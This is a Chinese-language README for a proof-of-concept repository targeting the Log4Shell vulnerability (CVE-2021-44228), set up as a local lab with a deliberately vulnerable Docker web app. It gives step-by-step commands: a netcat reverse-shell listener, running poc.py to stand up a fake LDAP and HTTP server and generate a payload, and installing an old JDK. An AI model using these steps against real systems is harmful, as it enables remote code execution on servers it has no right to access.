
针对近期发现的 CVE-2021-44228 漏洞的概念验证。
近期 log4j(一个被广泛用于 elasticsearch、minecraft 等众多场景的 Java 日志库)中出现了一个新漏洞。
本仓库包含一个示例漏洞应用及其概念验证(POC)利用程序。
作为一个 PoC,提供了一个 Python 文件来自动化整个过程。
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20,并且位于同一目录下。$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[+] 成功创建利用 Java 类
[+] 设置假 LDAP 服务器
Listening on 0.0.0.0:1389
该脚本将为你设置 HTTP 服务器和 LDAP 服务器,还会创建可用于粘贴到漏洞参数的 payload。之后,如果一切顺利,你应在 lport 上获得一个 shell。
提供了一个包含漏洞 Web 应用的 Dockerfile。你可以按照以下步骤使用它:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
运行后,你可以通过 localhost:8080 访问它。
Oracle 很友好地提供了所有历史 Java 版本的归档文件:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
滚动到 8u20,根据你的操作系统和硬件下载相应文件。

注意: 你需要注册一个账户才能下载该包。
下载并解压归档文件后,你可以在 jdk1.8.0_20/bin 中找到 java 和一些相关二进制文件。
注意: 确保将 jdk 文件夹解压到本仓库中,并保持相同名称,以便其正常工作。
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
本仓库并非旨在成为 CVE-2021-44228 的一键利用程序。该项目的目的是帮助人们了解此漏洞,并可能用于测试自己的应用程序(尽管有更好的应用程序适用于此目的,例如:https://log4shell.tools/)。